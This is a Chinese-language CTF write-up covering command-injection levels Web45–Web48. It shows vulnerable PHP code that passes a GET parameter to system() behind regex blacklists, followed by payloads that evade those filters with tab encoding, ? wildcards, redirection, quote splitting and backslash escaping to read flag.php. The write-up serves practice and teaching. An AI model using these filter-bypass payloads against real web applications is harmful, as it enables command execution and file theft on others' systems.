跟上昨天的步伐,今天继续做命令执行的题目(现在才做了一半,距离结束还早得很),不要心急
文章目录
前言
在做题之前给大家看昨天群里看到一张挺有意思的图片,虽然是调侃,但也确实是一部分正在学习的人的心理状态:
看到这张图,我也思考了一下,只能说:网络安全也是有门槛的(包括人脉(参加重保,HVV等需要),技术等),要想学到真正的东西你必须得舍得往自己身上投资;
然后,就是不要只做个脚本小子,用用工具。一定要有一门经得住考验的能力,比如网络编程的能力;
Web45
话不多说,也是直接开始:
bash
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
先看看代码,相比与Web44,第一眼还没注意到有什么区别:
其实就是多了 空格
的过滤:
- 空格可以用 (%0a %09 %0c %0d)替代;
URL编码 | 十六进制值 | 对应ASCII字符 | 字符含义 |
---|---|---|---|
%0A |
0A | 换行符(LF) | Line Feed,用于换行 |
%09 |
09 | 制表符(Tab) | Horizontal Tab,用于缩进 |
%0C |
0C | 换页符(FF) | Form Feed,用于分页 |
%0D |
0D | 回车符(CR) | Carriage Return,用于回车 |
补充说明:
-
URL编码的作用 :
URL中不允许直接包含不可打印的控制字符(如换行、制表符等)或特殊字符,因此需要通过"%+十六进制值"的形式编码,确保数据在网络传输中不被误解析。
-
常见场景 :
这些编码多出现在表单提交、URL参数传递或文本数据序列化中。例如,用户在输入框中换行(
LF
)或按Tab键(Tab
),提交后会被自动编码为%0A
或%09
。 -
CR与LF的区别:
%0D
(CR):回车,早期用于光标回到行首。%0A
(LF):换行,用于光标下移一行。- 在Windows系统中,文本换行通常是
CR+LF
(即%0D%0A
);而Unix/Linux系统中仅用LF
(%0A
)。
如果在实际使用中遇到这些编码,可以通过URL解码工具还原为原始字符,方便理解和处理数据。
所以,直接上payload:
bash
# %0a不管用,还是%09好用
?c=tac%09fla*||ls
# 查看源代码
?c=nl%09fla?.php||ls
?c=head%09-n%0920%09fla*%09||ls
?c=tail%09-n%0920%09fla*%09||ls
?c=more%09fla*%09||ls
?c=less%09fla*||ls

- 注意:
(这里为了方便,我用Notepad ++对空格进行了替换,不然手动的话太累了)
Web46
先看代码:
bash
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
发现这次多了 数字[0-9]
,$
,*
的过滤:
- 影响
- 不能用 fla*等通配符来匹配flag.php文件
- 不能用 (%0a %09 %0c %0d)替代空格
那么除了上述两种,我们还有什么方法来替代空格 和匹配flag.php文件 呢?
有的兄弟,那能没有吗
在当前的过滤规则下(禁止空格、数字、$
、*
等),可以通过以下方式替代空格和匹配 flag.php
文件:
一、替代空格的方法
Linux 命令行中,除了普通空格,还有一些特殊字符或编码可以作为参数分隔符,且未被当前规则过滤:
<
或>
重定向符号(间接替代)
若命令需要读取文件,可利用重定向符号省略空格,例如tac<flag.php
(无需空格,直接连接命令和文件)。
二、匹配 flag.php 文件的方法
由于 *
被过滤,可使用 ?
通配符 (匹配单个字符)来替代,因为过滤规则未禁止 ?
:
flag.php
的结构是f+l+a+g+.+p+h+p
,其中第4个字符是g
,可用fla?
匹配flag
(?
匹配单个字符g
),完整文件名可写为fla?.php
。
思路总结
- 替代空格 :利用 shell 支持的重定向符号
<
省略空格。 - 匹配文件 :用
?
通配符(匹配单个字符)替代被禁的*
,精准匹配flag.php
的结构。
bash
# payload
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||
# 查看源代码
?c=nl%09fla?.php||ls
?c=more%09fla?.php||ls
?c=less%09fla?.php||ls

当然,有成功自然也有失败的:
bash
# 失败的payload
?c=tac{IFS}fla?.php|| # {IFS}也是可以用来替换空格的
?c=tac<>fla?.php|| # <>也可以
?c=tac<fla?.php||
--
Web47
bash
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析代码,真是怕什么来什么,直接把我们上一题的payload封的差不多了;
但好在,还是有一点的:
bash
# payload
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||

WP另一种方法
看了别人的WP,发现还有一种方法,可以用\
来转义进行绕过:
bash
# 查看源代码
?c=c\at<fl\ag.php||
- 绕过原理:
- 这个payload
?c=c\at<fl\ag.php
可以绕过过滤,原理如下:
1. 核心绕过逻辑:利用 shell 转义符 \
拆分敏感词
在 Linux shell 中,反斜杠 \
是转义字符,作用是取消后续字符的特殊含义,或让被拆分的字符拼接为完整命令/文件名。
当 payload 中的 c\at
和 fl\ag.php
被 shell 解析时:
c\at
会被还原为cat
(反斜杠被移除,c
+at
拼接为完整命令)fl\ag.php
会被还原为flag.php
(反斜杠被移除,fl
+ag.php
拼接为完整文件名)
2. 绕过正则过滤的关键
而 payload 中:
c\at
字符串中实际是c
+\
+a
+t
,不包含连续的cat
子串 ,因此不会被正则匹配到cat
;fl\ag.php
字符串中是fl
+\
+a
+g.php
,不包含连续的flag
子串 ,因此不会被正则匹配到flag
;- 其他字符(如
<
用于重定向,无空格、数字等被禁字符)均符合过滤规则。
Web48
bash
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
好家伙,是遇到最终boss了吗,这么多过滤;
不过好在tac
\
<
.
这些没有被过滤,所以也不解释了,直接上payload:
bash
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||
# 查看源代码
?c=c\at<fl\ag.php||

总结
今天内容先到此为止,在精不在多。